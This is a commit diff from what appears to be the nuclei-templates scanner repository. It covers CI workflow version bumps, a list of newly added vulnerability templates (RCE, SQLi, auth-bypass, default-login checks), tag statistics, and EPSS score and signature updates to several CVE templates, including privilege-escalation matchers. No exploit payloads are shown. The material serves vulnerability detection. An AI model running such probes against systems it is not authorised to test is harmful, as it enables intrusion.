Updated haproxy

chore: update KEV and vKEV tags and metadata 🤖
chore: update EPSS scores 🤖
2026-11-07 08:36:19 -10:00 · 2026-07-09 12:52:25 +04:00 · 2026-07-09 04:22:04 +00:00 · 2026-07-09 03:01:09 +00:00 · 2026-07-09 00:05:25 +00:00 · 2026-07-09 00:02:42 +00:00
4234 changed files with 31102 additions and 24975 deletions
@@ -16,7 +16,7 @@ jobs:
      contents: write

    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v7
        with:
          fetch-depth: 0

@@ -13,7 +13,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/setup/go@v1
        with:
          go-version: 'stable'
@@ -12,7 +12,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Setup Python
        uses: actions/setup-python@v6
@@ -12,7 +12,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Setup Python
        uses: actions/setup-python@v6
@@ -18,7 +18,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
        with:
          fetch-depth: 0
      - name: Generate new addition list
@@ -13,7 +13,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: actions/setup-python@v6
        with:
          python-version: "3.8"
@@ -1,11 +1,21 @@
 name: 📝 Template Checksum

 on:
+  # For YAML changes: wait for signing to complete first, then checksum
+  workflow_run:
+    workflows:
+      - "☑️ Template Sign"
+    types:
+      - completed
+    branches:
+      - main
+  # For non-YAML changes: trigger directly (signing doesn't run for these)
  push:
    branches:
      - main
-    paths:
+    paths-ignore:
      - '**.yaml'
+      - 'templates-checksum.txt'
  workflow_dispatch:

 env:
@@ -14,9 +24,14 @@ env:
 jobs:
  checksum:
    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
+    if: >
+      github.repository == 'projectdiscovery/nuclei-templates' && (
+        github.event_name == 'workflow_dispatch' ||
+        github.event_name == 'push' ||
+        github.event.workflow_run.conclusion == 'success'
+      )
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/generate/checksum@v1
        with:
          templates-directory: '${{ github.workspace }}'
@@ -14,7 +14,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/nuclei-action@v3
        with:
          install-only: true
@@ -38,7 +38,7 @@ jobs:
    runs-on: windows-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7

      - uses: projectdiscovery/nuclei-action@v3
        with:
@@ -8,7 +8,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/setup/templateman@v1
        with:
          token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
        with: 
          fetch-depth: 0
      - uses: projectdiscovery/actions/templates/stats@v1
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: karancode/[email protected]
        with:
          yamllint_config_filepath: .yamllint
@@ -23,7 +23,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/nuclei-action@v3
        with:
          install-only: true
@@ -40,7 +40,7 @@ jobs:
    env:
      HONEYPOT_URL: 'http://honey.scanme.sh'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: dorny/paths-filter@v4
        id: filter
        with:
@@ -10,7 +10,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Check out repository code
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Install Python3
        uses: actions/setup-python@v6
@@ -1,8 +0,0 @@
-.idea/
-.DS_Store
-local/
-.checksum
-.new-additions
-*.txt
-/.claude
-CLAUDE.md
@@ -1,38 +1,62 @@
-http/cves/2020/CVE-2020-36884.yaml
-http/cves/2021/CVE-2021-3239.yaml
-http/cves/2022/CVE-2022-44727.yaml
-http/cves/2025/CVE-2025-13773.yaml
-http/cves/2025/CVE-2025-47783.yaml
-http/cves/2025/CVE-2025-49001.yaml
-http/cves/2026/CVE-2026-10520.yaml
-http/cves/2026/CVE-2026-25527.yaml
-http/cves/2026/CVE-2026-26190.yaml
-http/cves/2026/CVE-2026-2652.yaml
-http/cves/2026/CVE-2026-27771.yaml
-http/cves/2026/CVE-2026-29059.yaml
-http/cves/2026/CVE-2026-34910.yaml
-http/cves/2026/CVE-2026-42208.yaml
-http/cves/2026/CVE-2026-42271.yaml
-http/cves/2026/CVE-2026-42589.yaml
-http/cves/2026/CVE-2026-42647.yaml
-http/cves/2026/CVE-2026-44262.yaml
-http/cves/2026/CVE-2026-44551.yaml
-http/cves/2026/CVE-2026-45298.yaml
-http/cves/2026/CVE-2026-45397.yaml
-http/cves/2026/CVE-2026-48710.yaml
-http/cves/2026/CVE-2026-5027.yaml
-http/cves/2026/CVE-2026-5073.yaml
-http/cves/2026/CVE-2026-7798.yaml
-http/cves/2026/CVE-2026-8054.yaml
-http/cves/2026/CVE-2026-8839.yaml
-http/cves/2026/CVE-2026-9290.yaml
-http/exposed-panels/advantech-webaccess-panel.yaml
-http/exposed-panels/baserow-login-panel.yaml
-http/exposed-panels/homarr-panel.yaml
-http/exposed-panels/ligolo-ng-panel.yaml
-http/exposed-panels/rallly-login-panel.yaml
-http/exposed-panels/vikunja-panel.yaml
-http/exposures/files/a2a-agent-card-enum.yaml
-http/misconfiguration/unauth-mulesoft-dataweave.yaml
-http/vulnerabilities/yeswiki/yeswiki-reflected-xss.yaml
-javascript/cves/2026/CVE-2026-0257.yaml
+dns/dns-internal-ip-disclosure.yaml
+http/cves/2026/CVE-2026-10823.yaml
+http/cves/2026/CVE-2026-13731.yaml
+http/cves/2026/CVE-2026-1890.yaml
+http/cves/2026/CVE-2026-22778.yaml
+http/cves/2026/CVE-2026-28496.yaml
+http/cves/2026/CVE-2026-30958.yaml
+http/cves/2026/CVE-2026-34413.yaml
+http/cves/2026/CVE-2026-48282.yaml
+http/cves/2026/CVE-2026-48313.yaml
+http/cves/2026/CVE-2026-48611.yaml
+http/cves/2026/CVE-2026-52815.yaml
+http/cves/2026/CVE-2026-56782.yaml
+http/cves/2026/CVE-2026-8037.yaml
+http/cves/2026/CVE-2026-8383.yaml
+http/cves/2026/cve-2026-44381.yaml
+http/default-logins/dahua/dahua-icc-default-login.yaml
+http/exposed-panels/array-networks-ssl-vpn-panel.yaml
+http/exposed-panels/aruba-via-vpn-panel.yaml
+http/exposed-panels/cradlepoint-gateway-panel.yaml
+http/exposed-panels/ctrlpanel-panel.yaml
+http/exposed-panels/cyberoam-firewall-panel.yaml
+http/exposed-panels/ddwrt-panel.yaml
+http/exposed-panels/ecessa-panel.yaml
+http/exposed-panels/elfiq-panel.yaml
+http/exposed-panels/endian-firewall-panel.yaml
+http/exposed-panels/featherpanel-panel.yaml
+http/exposed-panels/firemon-asset-manager-panel.yaml
+http/exposed-panels/fortinet-fortianalyzer-panel.yaml
+http/exposed-panels/headscale-panel.yaml
+http/exposed-panels/hillstone-ssl-vpn-panel.yaml
+http/exposed-panels/jotty-page-login-panel.yaml
+http/exposed-panels/netgate-pfsenseplus-panel.yaml
+http/exposed-panels/netsweeper-webadmin-panel.yaml
+http/exposed-panels/nuage-networks-vsp-panel.yaml
+http/exposed-panels/ocserv-panel.yaml
+http/exposed-panels/peplink-incontrol-panel.yaml
+http/exposed-panels/sangfor-iam-panel.yaml
+http/exposed-panels/sangfor-ngaf-panel.yaml
+http/exposed-panels/silver-peak-edgeconnect-panel.yaml
+http/exposed-panels/sma-opcon-panel.yaml
+http/exposed-panels/smoothwall-firewall-panel.yaml
+http/exposed-panels/sonicwall-analytics-panel.yaml
+http/exposed-panels/sophos-utm-panel.yaml
+http/exposed-panels/stormshield-network-security-panel.yaml
+http/exposed-panels/thegreenbowvpn-panel.yaml
+http/exposed-panels/trend-micro-deep-security-panel.yaml
+http/exposed-panels/ubiquiti-edgerouter-panel.yaml
+http/exposed-panels/unifi-securitygateway-panel.yaml
+http/exposed-panels/wg-easy-panel.yaml
+http/exposed-panels/zywall-usg-panel.yaml
+http/iot/openremote-detect.yaml
+http/misconfiguration/installer/ctrlpanel-installer.yaml
+http/misconfiguration/marimo-auth-bypass.yaml
+http/takeovers/godaddy-parked-domain.yaml
+http/technologies/google-iap-detect.yaml
+http/technologies/tibco-businessworks-detect.yaml
+http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
+http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
+http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
+javascript/cves/2025/CVE-2025-29635.yaml
+network/misconfig/open-socks-proxy.yaml
@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6621},{"name":"cve","count":4221},{"name":"discovery","count":3717},{"name":"vkev","count":1769},{"name":"wordpress","count":1643},{"name":"panel","count":1523},{"name":"wp-plugin","count":1459},{"name":"exposure","count":1443},{"name":"xss","count":1403},{"name":"osint","count":1131},{"name":"misconfig","count":983},{"name":"rce","count":952},{"name":"tech","count":946},{"name":"wp","count":918},{"name":"lfi","count":850},{"name":"detect","count":763},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":637},{"name":"cve2024","count":623},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":594},{"name":"sqli","count":583},{"name":"cve2023","count":571},{"name":"cve2022","count":569},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"intrusive","count":520},{"name":"login","count":516},{"name":"kev","count":507},{"name":"cve2025","count":409},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":355},{"name":"default-login","count":336},{"name":"cve2020","count":324},{"name":"config","count":321},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"auth-bypass","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":209},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"csp-bypass","count":192},{"name":"code","count":191},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"ssrf","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":157},{"name":"local","count":154},{"name":"joomla","count":153},{"name":"aws-cloud-config","count":147},{"name":"cms","count":140},{"name":"router","count":139},{"name":"linux","count":139},{"name":"cve2026","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":129},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":118},{"name":"cve2010","count":115},{"name":"file-upload","count":112},{"name":"fpd","count":107},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":98},{"name":"passive","count":97},{"name":"oss","count":96},{"name":"windows-audit","count":95},{"name":"oracle","count":91},{"name":"enum","count":89},{"name":"seclists","count":88},{"name":"cisco","count":88},{"name":"privesc","count":87},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":73},{"name":"detection","count":71},{"name":"vmware","count":68},{"name":"cve2015","count":66},{"name":"traversal","count":66},{"name":"ics","count":66},{"name":"google","count":66},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"atlassian","count":64},{"name":"logs","count":64},{"name":"oob","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"php","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"ssti","count":53},{"name":"aem","count":53},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"misc","count":52},{"name":"plugin","count":50},{"name":"ibm","count":50},{"name":"generic","count":50},{"name":"ecommerce","count":49},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":48},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"aliyun","count":45},{"name":"kisa","count":44},{"name":"ssl","count":44},{"name":"listing","count":44},{"name":"dns","count":44},{"name":"oa","count":43},{"name":"miscellaneous","count":43},{"name":"k8s-cluster-security","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"tls","count":41},{"name":"dashboard","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"xwiki","count":38},{"name":"cti","count":38},{"name":"graphql","count":37},{"name":"scada","count":36},{"name":"google-cloud-sql","count":36},{"name":"gitlab","couLine truncated
+{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6621 | dhiyaneshdk   |  2100 | http       | 10890 | info     |  4997 | file |   447 |
-| cve       |  4221 | daffainfo     |   949 | cloud      |   663 | high     |  2893 | dns  |    33 |
-| discovery |  3717 | princechaddha |   867 | file       |   447 | medium   |  2789 |      |       |
-| vkev      |  1769 | dwisiswant0   |   807 | code       |   286 | critical |  1788 |      |       |
-| wordpress |  1643 | pussycat0x    |   792 | network    |   281 | low      |   504 |      |       |
-| panel     |  1523 | ritikchaddha  |   775 | dast       |   249 | unknown  |    58 |      |       |
-| wp-plugin |  1459 | rxerium       |   644 | workflows  |   206 |          |       |      |       |
-| exposure  |  1443 | 0x_akoko      |   398 | javascript |   121 |          |       |      |       |
-| xss       |  1403 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
-| osint     |  1131 | theamanrawat  |   336 | dns        |    30 |          |       |      |       |
+| vuln      |  6626 | dhiyaneshdk   |  2114 | http       | 10970 | info     |  5013 | file |   447 |
+| cve       |  4283 | daffainfo     |   949 | cloud      |   663 | high     |  2915 | dns  |    33 |
+| discovery |  3729 | princechaddha |   867 | file       |   447 | medium   |  2803 |      |       |
+| vkev      |  1795 | dwisiswant0   |   807 | code       |   288 | critical |  1820 |      |       |
+| wordpress |  1656 | pussycat0x    |   797 | network    |   280 | low      |   504 |      |       |
+| panel     |  1537 | ritikchaddha  |   779 | dast       |   249 | unknown  |    58 |      |       |
+| wp-plugin |  1473 | rxerium       |   644 | workflows  |   207 |          |       |      |       |
+| exposure  |  1456 | 0x_akoko      |   417 | javascript |   124 |          |       |      |       |
+| xss       |  1409 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
+| osint     |  1131 | theamanrawat  |   343 | dns        |    30 |          |       |      |       |
@@ -15,8 +15,8 @@ info:
  metadata:
    verified: true
  classification:
-    epss-score: 0.94464
-    epss-percentile: 0.99995
+    epss-score: 0.99999
+    epss-percentile: 0.99997
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
@@ -142,4 +142,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4a0a00473045022054bbf588008124f06b8e45059311e34d58b7a4b3451845bc2c620161ca64eef102210084775e302a41e70180e4d4f95c00566174e9935e05904afc870eb0915d747f95:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
-    epss-score: 0.93802
-    epss-percentile: 0.99869
+    epss-score: 0.90338
+    epss-percentile: 0.99785
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.94479
-    epss-percentile: 0.99999
+    epss-score: 0.99686
+    epss-percentile: 0.99948
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -108,4 +108,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4b0a00483046022100c0f7202de3be16551339501480bb3a75ee21e6501689887030d3a8039c1b2253022100f4d1575122244d626e560a0178672e4638a46e65822b6640fba029cfbe1a4757:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.94416
-    epss-percentile: 0.99982
+    epss-score: 0.99913
+    epss-percentile: 0.99966
  metadata:
    verified: true
    vendor: microsoft
@@ -156,4 +156,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4b0a00483046022100ae33cec6261808941853fe7583760ac165ec5730653c4f554013aadd30187b74022100c684a75c003915a2b2e474936321837cd69dc4a36fe4189f036c07930d6575f8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.85814
-    epss-percentile: 0.994
+    epss-score: 0.63917
+    epss-percentile: 0.99123
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -51,4 +51,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 4b0a00483046022100bc2b27e32d796019f9d8710936adc79b9a56a86ec625e2b0b2f8d5785fe9d9b6022100e21bef6bae4406bc455b169b69a8f116707f0685078f88fc0ff79ed74905bf4b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.93865
-    epss-percentile: 0.99877
+    epss-score: 0.99193
+    epss-percentile: 0.99929
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -106,4 +106,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4b0a00483046022100ee6a99e6913003a50592beb26ee9348ad112f8c348f34d53c5371e1d47f63f79022100cc9aff894d0977885d5ddae8308e420b97a3dc4b05ad72bfc5031a9ecbe47904:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.92155
-    epss-percentile: 0.99726
+    epss-score: 0.87553
+    epss-percentile: 0.99736
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.92579
-    epss-percentile: 0.99755
+    epss-score: 0.99295
+    epss-percentile: 0.99933
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -44,4 +44,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4a0a004730450221008e58a96bf70724940c1502417371f2bde750615a1b6269e987a6f0d8600b832b02203bf46cf363c791cd4293f4dc8dd9e9ce32e8be7c61eaadffd833077ec1e12992:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
@@ -24,8 +24,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
-    epss-score: 0.94005
-    epss-percentile: 0.99897
+    epss-score: 0.99474
+    epss-percentile: 0.99938
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -287,4 +287,4 @@ code:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 490a0046304402206b11fd9460e132913e88928bee378da95d6a0518af6358491276421d0f735b7c0220095210512aef64da016b6ccd74c949ad0044fd397520991190846fa6c5386d7c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.92467
-    epss-percentile: 0.99748
+    epss-score: 0.15783
+    epss-percentile: 0.96475
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4a0a00473045022100b83809c2cfa2599aac08d21829505c4485f5ffa68e145586f525e7056aebe548022074ddd338cc3589fe7c717607b927202d52dc485ab71f46f9d7bc1df2baead588:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.91863
-    epss-percentile: 0.99704
+    epss-score: 0.41077
+    epss-percentile: 0.98492
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -630,4 +630,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a00473045022100ffeda9d25097c9e721d5d5ef01c051189e2461b06b457545a6b9eda8d8cc9a860220189668d2e9a1d1e15ae52e1ae4e62628a301f1594eb060aefe59a626ccb69257:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
